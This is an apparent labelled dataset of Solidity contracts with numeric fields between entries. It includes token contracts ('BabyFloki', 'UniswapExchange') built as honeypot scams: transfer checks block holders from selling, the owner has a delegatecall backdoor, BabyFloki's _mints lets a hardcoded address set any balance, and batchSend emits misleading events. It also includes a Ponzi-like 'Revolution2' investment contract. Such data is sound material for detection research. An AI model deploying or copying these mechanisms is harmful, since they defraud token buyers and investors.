require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyFloki {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,111 |
pragma solidity ^0.4.13;
contract Base {
modifier only(address allowed) {
require(msg.sender == allowed);
_;
}
uint private bitlocks = 0;
modifier noReentrancy(uint m) {
var _locks = bitlocks;
require(_locks & m <= 0);
bitlocks |= m;
_;
bitlocks = _locks;
}
modifier noAnyReentrancy {
var _locks = bitlocks;
require(_locks <= 0);
bitlocks = uint(-1);
_;
bitlocks = _locks;
}
modifier reentrant { _; }
}
contract Owned {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner public {
newOwner = _newOwner;
}
function acceptOwnership() onlyOwner public {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract Crowdsale is Base, Owned {
using SafeMath for uint256;
enum State { INIT, ICO, CLOSED, PAUSE }
uint public constant DECIMALS = 10**18;
uint public constant WEI_DECIMALS = 10**18;
uint public constant MAX_SUPPLY = 3400000000 * DECIMALS;
mapping (address => bool) investors;
State public currentState = State.INIT;
IToken public token;
uint public totalSupply = 0;
uint public totalFunds = 0;
uint public currentPrice = WEI_DECIMALS / 166;
address public beneficiary;
uint public countMembers = 0;
event Transfer(address indexed _to, uint256 _value);
modifier inState(State _state){
require(currentState == _state);
_;
}
modifier salesRunning(){
require(currentState == State.ICO);
_;
}
modifier notClosed(){
require(currentState != State.CLOSED);
_;
}
function Crowdsale(address _beneficiary) public {
beneficiary = _beneficiary;
}
function ()
public
payable
salesRunning
{
_receiveFunds();
}
function initialize(address _token)
public
onlyOwner
inState(State.INIT)
{
require(_token != address(0));
token = IToken(_token);
}
function setTokenPrice(uint _tokenPrice) public
onlyOwner
notClosed
{
currentPrice = _tokenPrice;
}
function setTokenPriceAsRatio(uint _tokenCount) public
onlyOwner
notClosed
{
currentPrice = WEI_DECIMALS / _tokenCount;
}
function setState(State _newState)
public
onlyOwner
{
require(currentState != State.CLOSED);
require(
(currentState == State.INIT && _newState == State.ICO ||
currentState == State.ICO && _newState == State.CLOSED ||
currentState == State.ICO && _newState == State.PAUSE ||
currentState == State.PAUSE && _newState == State.ICO)
);
if(_newState == State.CLOSED){
_finish();
}
currentState = _newState;
}
function withdraw(uint _amount)
public
noAnyReentrancy
onlyOwner
{
require(_amount > 0 && _amount <= this.balance);
beneficiary.transfer(_amount);
}
function sendToken(address _to, uint _amount)
public
onlyOwner
salesRunning
{
uint amount = _amount.mul(DECIMALS);
_checkMaxSaleSupply(amount);
_mint(_to, amount);
}
function getCountMembers()
public
constant
returns(uint)
{
return countMembers;
}
function _mint(address _to, uint _amount)
noAnyReentrancy
internal
{
_increaseSupply(_amount);
IToken(token).mint(_to, _amount);
Transfer(_to, _amount);
}
function _finish()
noAnyReentrancy
internal
{
IToken(token).start();
}
function _receiveFunds()
internal
{
require(msg.value != 0);
uint weiAmount = msg.value;
uint transferTokens = weiAmount.mul(DECIMALS).div(currentPrice);
_checkMaxSaleSupply(transferTokens);
if(!investors[msg.sender]){
countMembers = countMembers.add(1);
investors[msg.sender] = true;
}
totalFunds = totalFunds.add(weiAmount);
_mint(msg.sender, transferTokens);
}
function _checkMaxSaleSupply(uint transferTokens)
internal
{
require(totalSupply.add(transferTokens) <= MAX_SUPPLY);
}
function _increaseSupply(uint _amount)
internal
{
totalSupply = totalSupply.add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract IToken {
uint256 public totalSupply;
function mint(address _to, uint _amount) public returns(bool);
function start() public;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract TokenTimelock {
IToken public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(address _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = IToken(_token);
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.transfer(beneficiary, amount);
}
} | 1 | 4,649 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 213 |
pragma solidity 0.4.25;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function disown() internal {
delete owner;
}
}
contract Rev1Storage {
function investorShortInfo(address addr) public view returns(uint value, uint refBonus);
}
contract Rev2Storage {
function investorInfo(address addr) public view returns(uint investment, uint paymentTime);
}
library PrivateEntrance {
using PrivateEntrance for privateEntrance;
using Math for uint;
struct privateEntrance {
Rev1Storage rev1Storage;
Rev2Storage rev2Storage;
uint investorMaxInvestment;
uint endTimestamp;
mapping(address=>bool) hasAccess;
}
function isActive(privateEntrance storage pe) internal view returns(bool) {
return pe.endTimestamp > now;
}
function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) {
if (!pe.hasAccess[investorAddr]) {
return 0;
}
(uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr);
if (maxInvestment == 0) {
return 0;
}
maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment);
(uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr);
if (currInvestment >= maxInvestment) {
return 0;
}
return maxInvestment-currInvestment;
}
function provideAccessFor(privateEntrance storage pe, address[] addrs) internal {
for (uint16 i; i < addrs.length; i++) {
pe.hasAccess[addrs[i]] = true;
}
}
}
contract InvestorsStorage is Accessibility {
struct Investor {
uint investment;
uint paymentTime;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].investment > 0;
}
function investorInfo(address addr) public view returns(uint investment, uint paymentTime) {
investment = investors[addr].investment;
paymentTime = investors[addr].paymentTime;
}
function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) {
Investor storage inv = investors[addr];
if (inv.investment != 0 || investment == 0) {
return false;
}
inv.investment = investment;
inv.paymentTime = paymentTime;
size++;
return true;
}
function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment += investment;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function disqalify(address addr) public onlyOwner returns (bool) {
if (isInvestor(addr)) {
investors[addr].investment = 0;
}
}
}
library RapidGrowthProtection {
using RapidGrowthProtection for rapidGrowthProtection;
struct rapidGrowthProtection {
uint startTimestamp;
uint maxDailyTotalInvestment;
uint8 activityDays;
mapping(uint8 => uint) dailyTotalInvestment;
}
function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return 0;
}
if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) {
return 0;
}
return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)];
}
function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) {
uint day = rgp.currDay();
return day != 0 && day <= rgp.activityDays;
}
function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return false;
}
if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) {
return false;
}
rgp.dailyTotalInvestment[uint8(day)] += investment;
return true;
}
function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal {
rgp.startTimestamp = timestamp;
for (uint8 i = 1; i <= rgp.activityDays; i++) {
if (rgp.dailyTotalInvestment[i] != 0) {
delete rgp.dailyTotalInvestment[i];
}
}
}
function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) {
if (rgp.startTimestamp > now) {
return 0;
}
day = (now - rgp.startTimestamp) / 24 hours + 1;
}
}
contract Revolution2 is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
using Address for *;
using Zero for *;
RapidGrowthProtection.rapidGrowthProtection private m_rgp;
PrivateEntrance.privateEntrance private m_privEnter;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
uint public constant minInvesment = 10 finney;
uint public constant maxBalance = 333e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
Percent.percent private m_5_percent = Percent.percent(777,10000);
Percent.percent private m_6_percent = Percent.percent(9,100);
Percent.percent private m_7_percent = Percent.percent(10,100);
Percent.percent private m_8_percent = Percent.percent(8,100);
Percent.percent private m_9_percent = Percent.percent(9,100);
Percent.percent private m_10_percent = Percent.percent(10,100);
Percent.percent private m_11_percent = Percent.percent(11,100);
Percent.percent private m_12_percent = Percent.percent(12,100);
Percent.percent private m_referal_percent = Percent.percent(5,100);
Percent.percent private m_referrer_percent = Percent.percent(7,100);
Percent.percent private m_referrer_percentMax = Percent.percent(10,100);
Percent.percent private m_adminsPercent = Percent.percent(55, 1000);
Percent.percent private m_advertisingPercent = Percent.percent(95, 1000);
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqalify(addr);
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function init(address rev1StorageAddr, uint timestamp) public onlyOwner {
m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
m_rgp.activityDays = 21;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
m_privEnter.provideAccessFor(addrs);
}
function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
investment = m_rgp.maxInvestmentAtNow();
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) {
(investment, paymentTime) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = dailyPercent();
(numerator, denominator) = (p.num, p.den);
}
function getMyDividends() public notFromContract balanceChanged {
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours);
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (m_rgp.isActive()) {
uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
rpgMaxInvest.requireNotZero();
investment = Math.min(investment, rpgMaxInvest);
assert(m_rgp.saveInvestment(investment));
emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());
} else if (m_privEnter.isActive()) {
uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
peMaxInvest.requireNotZero();
investment = Math.min(investment, peMaxInvest);
}
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
advertisingAddress.send(m_advertisingPercent.mul(receivedEther));
adminsAddress.send(m_adminsPercent.mul(receivedEther));
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
uint referrerBonus = m_referrer_percent.mmul(investment);
if (investment > 10 ether) {
referrerBonus = m_referrer_percentMax.mmul(investment);
}
uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus));
investment += referalBonus;
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (senderIsInvestor) {
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvesment(msg.sender, now, investment, receivedEther);
}
